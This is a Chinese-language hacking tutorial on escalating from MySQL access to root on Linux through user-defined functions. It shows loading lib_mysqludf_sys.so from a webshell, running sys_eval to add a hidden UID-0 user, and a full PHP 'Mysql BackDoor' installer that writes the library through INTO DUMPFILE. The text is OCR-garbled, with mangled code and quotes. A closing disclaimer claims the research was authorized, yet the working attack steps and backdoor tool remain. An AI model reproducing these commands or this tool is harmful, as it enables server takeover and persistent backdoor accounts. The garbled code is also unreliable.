这次给大家带来的是linux下的mysql提权。相信在windows下的提权大家都了解,当然随着mysql版本的提高,在win下的提权条件也变的越来越苛刻。比如在5.0以上版本,必须放在系统目录,而且在用Create Function sys_exec returns string sonamelib_mysqludf_sys.dll’命令的时候,不能带dll的绝对路径,要直接跟dll文件名,我们可以把dll放在system或者win目录下,直接用dll名字就可以。而到了5.1版本开始必须把udfdll文件放到MySQL安装目录下的lib/plugin文件夹下才能创建自定义函数,并且该目录默认是没有的,需要我们的shell有权限去建立。OK,简单回顾了下wm下的mysql提权,下面进入正题这次说的是linux下的提权,使用的同样是Create Function命令,也是通过上传文件的方法提权,不过linux下的提权和win下略有不同,下面我会慢慢细说。
让我想研究下linux下mysql提权的起因是我在某论坛上看到了一个帖子,写的就是关于mysql提权的,但是楼主只放出了工具,并没有说怎么使用,我在追问楼主后也没得到一个满意的答案,所以我就决定自己动手试试。为了方便,我直接使用的BT5,因为啥都是安装好的,Mysql的版本是MySQL 5.1.41。我们首先打开mysql,如图1,选择mysql start即可,接着是打开apache,直接在终端输入/etc/inid/apache2 restart,显示*Restarting web serverapache2,说明开启成功。默认的web路径:/var/www/,为了方便测试,我直接上传个phpspy来操作,到mysql manager下,输入账号root和密码toor,如图2。好了,准备工作到此结束,我们打开第一个提权工具,其中写道了编译的命令:
1、gcc—g—c raptor_udf2.c
2、gcc—g-shared -Wl,-soname,rptor_uf.so—o raptor_ud.so raptor_udf.o -lc,我们直接把工具放到BT5中,执行上述命令,就会生成文件raptor_udf.so,我们将文件放到“/usr/lib/mysql/plugin/”,即可,下面就是在webshell里面执行了create funtion do_systemreturns integer soname 'raptor_udfso’:结果如图3,返回错误“Error:Can-t find syol'do_system_init- in library”,看来是失败了,通过查看我发现,这个文件有个版本的限制,显示的是Tested on MSQL 4.0.17,然后我就百度了下,查到了如下内容:“Marco Ivaldi几年前曾经发表过一个raptor_udf2.c,演示了如何利用mysql udf入侵系统,但是这个mysql udf也演示了一个调用系统命令的方式。但是这一插件目前应经不能兼容mysql 5.0+,主要是已经不符合新的mysqludf的规范了,并且没有返回结果。”看来的确是版本问题,文章同样给出了一个新的udf包,我们直接下载后,打开,会发现有好几个文件,直接看install. sh,内容为:
我们可以直接通过make命令,这样就直接生成了文件,并且放在了/u sr/lib目录下,然后我们执行命令CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME' lib_mysqludf_sys. so’;依旧显示错误,如图4,根据提示,应该是需要放到“/usr/lib/mysql/plugin”下,我们把文件拷贝过去,再次执行命令,结果为图5。这次就执行成功了,但这个udf不止这么一个函数,我们继续执行:
到此,几个函数都成功建立了,其中我们比较常用的是sys_eval,当然我们可以先查看下函数的建立情况,命令为:
执行结果如图6,可以看到我们建立的函数已经显示在其中了,接下来就是利用了,这里我们使用sys_eval即可,具体的命令是:
显示结果如图7,OK,现在已经是root权限了,我们在执行下添加用户的命令:SELECT sys_eval(‘useradd—u 0 一o —g root -G root—d/home/userl userl’)执行结果如图8,这说明已经执行成功了,我们可以使用命令passwd userl给已创建的用户userl设置密码,这时候用户已经被加到了root组。OK,到此基本用法已经介绍完毕了,但是有个缺陷,就是需要我们自己上传文件到指定目录,然后还要执行几个sql命令去执行这样对于以后的使用会带来很多的麻烦。我们是否可以像win下提权工具一样,写出一个自己的工具呢?
这里我以linx写的wm下的mysql提权工具为模板,写了一个自己的工具,下面就贴出代码,并做一个基本的解释:
<? extract($_POST); extract($_GET); $action="mysql"; $mysql_hostname=$mysql_hostname?$mysql_hostname:"127.0.0,1";//检测提交的 $mysql_hostname,如果没设置的话,传入参数127.0.0.1 $mysql_username=$mysql_username?$mysql_username:"root";//同样, 传入参数 root $post_sql=$post_sql?$post_sql:"SELECT sys_eval('id')";//传入默认参数 $mysql_dbname=$mysql_d bname?$mysql_dbname:"mysql";//数据库名, 默认为 mysql if($install){//这里主要是把文件导入到指定的目录 $link=mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error(》;//连接mysql数据库 mysql_select_db($mysql_dbname,$link) or die(mysql_e rror(》; @mysql_query("DROP TABLE udf_temp", $link);//这里,如果表udf_temp存在的 话,直接删除 //@mysql_query("drop function state", $link); $query="CREATE TABLE udf_temp (udf BLOB);”;//创建表 if(! ($result=mysql_q uery($query,$¨nk)))//如果出现错误,显示错误提示 die(’错误:创建临时表udf_temp出错。’.mysql_error(》; else { $code=get_code(); $query="INSERT into udf_temp(udf) values (CONVERT($code,CHAR》;";// 插入数据 if(! mysql_q uery($query, $link》 { //mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error(》; die(’错误:插入DLL数据出错。’mysql_error(》; ) else { $dllname="lib_mysqludf_sys.so"; if(file_exists("/uSr/lib/"》 $dir="/us r/lib/lib_mysqludf_sys.so"; elseif(file_exists("/usr/lib/"》 $dir="/usr/lib/lib_mysqludf_sys.so";//把文件 导入到指定文件夹 $query="SELECT udf FROM udf_temp INTO DUMPFILE….$dir.…;”;//似 乎必须导入到这个文件夹,但需要有权限 //echo $query; if(! mysql_query($query, $link》 { //mysql_query('DROPTABLEudf_temp', $link)ordie(mysql_error(》; die(”导出DLL文件出错:可能无权限或者$dir已经存在。 ”.mysql_error(》; ) else { echo 'DLL已成功的导出到’.$d¨<br>’: ) ) mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error(》; $result=mysql_query("DROPFUNCTIONIFEXISTS lib_mysqludf_sys_info;", $link) or die(mysql_error(》; $result=mysql_query("DROP FUNCTION IF EXISTS sys_get;", $link) or die(mysql_error(》; $result=mysql_query("DROP FUNCTION IF EXISTS sys_set;", $link) or die(mysql_error(》; $result=mysql_query("DROP FUNCTION IF EXISTS sys_exec;", $link) or die(mysql_error(》; $result=mysql_query("DROP FUNCTION IF EXISTS sys_eval;", $link) or die(mysql_error(》; $result=mysql_query("CREATEFUNCTIONlib_mysqludf_sys_info RETURNS string SONAME 'Iib_mysqludf_sys.so';", $link) or die(mysql_error(》; $result=mysql_query("CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';", $link) or die(mysql_error(》; $result=mysql_query("CREATE FUNCTION sys_set RETURNS int SONAME 'Iib_mysqludf_sys.so';", $link) or die(mysql_error(》; $result=mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'$link) or die(mysql_error(》; $result=mysql_query("CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'$link) or die(mysql_error(》; //这部分是先删除函数,然后再重新建立函数 if($result){ echo "MysqIDoor安装成功!<br><a href=’?’>返回</a>”;//如果没有错误, 提示安装成功 exit(); ) ) ) ?> <meta http-equiv="content-type" con\="text/html;charset=gb2312"> <title>Linx Mysql Door</title> <form method="post" action="<?echo $HTTP_SERVER_VARS['php_self];?>?"> Host: <input name="mysql_hostname"value="<?echo $mysql_hostname;?>" type="text" class="input" size="15"> User: <input name="mysql_username" value="<?echo $mysql_username;?>" type="text" class="input" size="10"> Password: <input type="password"name="mysql_passwd"value="<?echo $mysql_passwd;?>" class="input" size="10"> DB: <input name="mysql_dbname" value="<?echo $mysql_dbname;?>" type="text" class="input" size="10"> <input name="install" type="subm” value=”自动安装 Mysql BackDoor"> <br> <br> 请输入SQL命令:<br> <textarea name="post_sql" cols="50" rows="8"><?echo stripslashes($post_sql);?> </textarea> <br> <br> <input name="" type="subm"value=”执行SQL语句”> </form><br>返回信息: <? if ($_POST[post_sql]){ $lik=mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error(》; f($mysql_dbname) mysql_select_db($mysql_dbname,$link) or die(mysql_error(》; $quey=stripslashes($post_sql); $reult=mysql_query($query, $link)or die(mysql_error(》; ?> <br> <texarea nme=”post_sql”cols=”80”rows=”1 5”> <? echo ($result)?”SQL语句成功执行:$result\n\n”:”出错:$result\n\n”.mysql_error(); while ( $row=@mysql_fetch_array ($result》{ print_r ($row); ) //mysql_fee_result($result); ) ?> </textarea> <? function get_code(){ rturn”XXXXXXXXXXXXXXXXXX这里写的so文件的十六进制代码”: ) ?> <pre> -EcoEye Mysql BackDoor -2011.12.25 Happy christmas!
填写Mysql的管理员密码,点击”自动安装MysqIDoor”后,将会在Mysql上增加”ss_eval”函数,同时还会安装别的几个函数,不过最常用的就是这个啦一语句参考:
执行:SEECT ss_eval('id’);
卸载:dop function sys_eval;
安装:CEATE FUCTION sys_eval RETURNS string SONAME-lib_mysqludf_sys.so。;
</p re>
大部分的代码都做了备注。其中XXXXX处的十六进制代码形成方法如下:
我使用的是本机搭建mysql,然后将so文件复制到某一目录,然后打开mysql执行如下命令:
selct hex(lad_file(’c:/windows/tep/xxoo.so'》 into outfile 'c:/winws/tep/xxoo.txt’;
这样,xxoo.txt文件就是so文件的十六进制了。然后将这段代码放入上面的指定位置即可。下面我们试一下效果。上传提权木马后,打开界面如图9。
添加密码点击“自动安装”即可,接下来就是执行命令了,下面给出了提示,我们直接执行自带的命令试试,结果如图10。别的命令大家可以自己测试了。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。